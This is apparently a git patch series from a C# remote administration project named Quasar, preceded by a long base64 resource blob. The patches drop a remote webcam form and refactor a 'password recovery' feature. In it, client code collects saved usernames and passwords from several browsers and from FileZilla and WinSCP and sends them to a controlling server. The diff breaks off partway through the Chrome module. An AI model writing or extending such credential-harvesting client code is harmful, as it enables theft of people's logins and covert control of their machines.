bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d - Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 - L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl - Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS - yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P - iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 - dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn - IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 - tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ - wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo - If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// - /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT - jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// - //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 - bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// - /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs - Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// - /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 - sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d - Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp - Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f - GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX - kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh - Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh - Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK - w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// - //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg - Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// - /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d - Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// - ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 - tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// - /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV - Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ - /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P - CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq - I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp - Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER - Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 - sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo - If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v - KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N - xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// - ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e - F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// - /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d - Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// - /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t - pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e - V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp - Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL - xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ - yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ - eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa - E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND - PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm - H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// - /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi - G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// - /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp - ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo - If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 - L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo - If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo - If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq - I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp - Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss - JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// - /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq - Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// - //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// - ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// - /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq - I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e - F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d - Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp - Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp - Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp - Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi - G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// - //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq - I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH - BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// - /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF - Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv - 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV - Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// - /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp - Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM - iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg - Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm - H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE - Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq - I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb - FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr - JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq - I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo - If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI - Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp - Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 - MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR - Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp - Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P - SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp - Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa - E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr - JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE - PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq - I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn - IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo - If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh - Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp - Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo - If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp - Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u - J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 - M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e - F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq - I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== - - - \ No newline at end of file diff --git a/Server/Server.csproj b/Server/Server.csproj index a97dd6fb4..84749fde3 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -119,6 +119,7 @@ + @@ -141,7 +142,6 @@ - @@ -159,12 +159,6 @@ - - Form - - - FrmRemoteWebcam.cs - Form @@ -323,9 +317,6 @@ - - FrmRemoteWebcam.cs - FrmAbout.cs diff --git a/Server/images/webcam.png b/Server/images/webcam.png deleted file mode 100644 index c5146508d8f15ad359f315492a33fd9c24629a5e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 776 zcmV+j1NZ!iP)31_G~Ru~=$rYl|h5Ng;S- z=)nBCp)2)`;^sFqudBo1a3CI!vyF|7-wGWVu-G*5t#s!6IT{-tEh;K5?$GIU2l^O48nf#5}k4h-0_;gO=Vd@FAM{ONORG#X`*NQAAfuCng#9(J*@nO(Zp0l_0f zCm68UU@P5fzqvanC&!)5W=W&b(Cq9ijlP(njQIpvs%jv3WatC~78`6Oqse5*WHN{N zLlOUtG(9ya2kR~hE6bGu`!yA25mN*k(0@UR+eQ-XE?mJMu8vsG#~s< z{3;Shl1QJ_@GeA&M1r)kmayU9M5dkx-G;fjxwoNEh(T9dTiBkXPA0buG3oCK2p*Z} zwmEFDC7kzf-`!hYUKYjVAb4cx1OpZuY^AA}Q^a5P@#f}cB%Mx^ z)oP_1ZGTbq;aybxbr6C_COR-+vB6gIefdfQJ^i!m|3&Y{WAPMTxU{sCZg+OlKz}a; zFEVssz+!`~IOF3Us;qQ4y1MSKsH(~q7Z;h|?`KO(OAx%sRP`gf$C-+XO2_cXQxd1C zxrNLYtMinrYTo5O&1&oFS#NJ2^G zrO;-#t7fx>?c0AKk(XbvZZw(ywb|?|<>e;>kj-{v1sOUp7V96Zq{OCbwL1z)uh-}8 z&CR{TKX2;v`U^W1#U;yfIT4j{9fRPJDZB#%78^yU%liq$D;R6(|FmNO0000 Date: Sat, 22 Sep 2018 14:50:44 +0200 Subject: [PATCH 131/229] Refactor Password Recovery --- Client/Client.csproj | 1 - Client/Core/Commands/CommandHandler.cs | 1 - Client/Core/Commands/SurveillanceHandler.cs | 32 ++-- Client/Core/Data/RecoveredAccount.cs | 10 - Client/Core/Recovery/Browsers/Chrome.cs | 5 +- Client/Core/Recovery/Browsers/Firefox.cs | 14 +- .../Recovery/Browsers/InternetExplorer.cs | 8 +- Client/Core/Recovery/Browsers/Opera.cs | 5 +- Client/Core/Recovery/Browsers/Yandex.cs | 5 +- Client/Core/Recovery/FtpClients/FileZilla.cs | 8 +- Client/Core/Recovery/FtpClients/WinSCP.cs | 4 +- Client/Core/Recovery/Utilities/Chromium.cs | 7 +- .../Messages/GetPasswordsResponse.cs | 7 +- .../Models}/RecoveredAccount.cs | 12 +- Quasar.Common/Quasar.Common.csproj | 1 + Server/Core/Commands/CommandHandler.cs | 1 - .../Core/Commands/PasswordRecoveryHandler.cs | 97 ++++++++++ Server/Core/Commands/SurveillanceHandler.cs | 39 ---- Server/Core/Networking/Client.cs | 1 - Server/Core/Networking/PacketHandler.cs | 4 - Server/Core/Networking/UserState.cs | 32 +--- Server/Forms/FrmMain.cs | 10 +- Server/Forms/FrmPasswordRecovery.cs | 173 ++++++++++-------- Server/Forms/FrmRegistryEditor.cs | 4 +- Server/Forms/FrmReverseProxy.cs | 4 +- Server/Server.csproj | 3 +- 26 files changed, 261 insertions(+), 227 deletions(-) delete mode 100644 Client/Core/Data/RecoveredAccount.cs rename {Server/Core/Data => Quasar.Common/Models}/RecoveredAccount.cs (56%) create mode 100644 Server/Core/Commands/PasswordRecoveryHandler.cs delete mode 100644 Server/Core/Commands/SurveillanceHandler.cs diff --git a/Client/Client.csproj b/Client/Client.csproj index 1b6715760..12b111c56 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -108,7 +108,6 @@ - diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 20a353d96..909d1cdde 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -12,7 +12,6 @@ public static partial class CommandHandler private static Shell _shell; private static Dictionary _renamedFiles = new Dictionary(); private static Dictionary _canceledDownloads = new Dictionary(); - private const string DELIMITER = "$E$"; private static readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads } } \ No newline at end of file diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs index cbe4f986a..9ccdc3430 100644 --- a/Client/Core/Commands/SurveillanceHandler.cs +++ b/Client/Core/Commands/SurveillanceHandler.cs @@ -1,21 +1,21 @@ -using System; +using Quasar.Common.Enums; +using Quasar.Common.IO; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; +using System; +using System.Collections.Generic; using System.Drawing; +using System.Drawing.Imaging; using System.IO; +using System.Threading; using System.Windows.Forms; using xClient.Core.Helper; -using System.Drawing.Imaging; -using System.Threading; using xClient.Core.Networking; -using xClient.Core.Utilities; -using System.Collections.Generic; -using Quasar.Common.Enums; -using Quasar.Common.IO; -using Quasar.Common.Messages; -using Quasar.Common.Video; -using Quasar.Common.Video.Codecs; -using xClient.Core.Data; using xClient.Core.Recovery.Browsers; using xClient.Core.Recovery.FtpClients; +using xClient.Core.Utilities; namespace xClient.Core.Commands { @@ -34,15 +34,7 @@ public static void HandleGetPasswords(GetPasswords packet, Client client) recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); - List raw = new List(); - - foreach (RecoveredAccount value in recovered) - { - string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER); - raw.Add(rawValue); - } - - client.Send(new GetPasswordsResponse {Passwords = raw}); + client.Send(new GetPasswordsResponse {RecoveredAccounts = recovered}); } public static void HandleGetDesktop(GetDesktop command, Client client) diff --git a/Client/Core/Data/RecoveredAccount.cs b/Client/Core/Data/RecoveredAccount.cs deleted file mode 100644 index 866c5b24e..000000000 --- a/Client/Core/Data/RecoveredAccount.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace xClient.Core.Data -{ - public class RecoveredAccount - { - public string Username { get; set; } - public string Password { get; set; } - public string URL { get; set; } - public string Application { get; set; } - } -} diff --git a/Client/Core/Recovery/Browsers/Chrome.cs b/Client/Core/Recovery/Browsers/Chrome.cs index 828871bab..223ebe66f 100644 --- a/Client/Core/Recovery/Browsers/Chrome.cs +++ 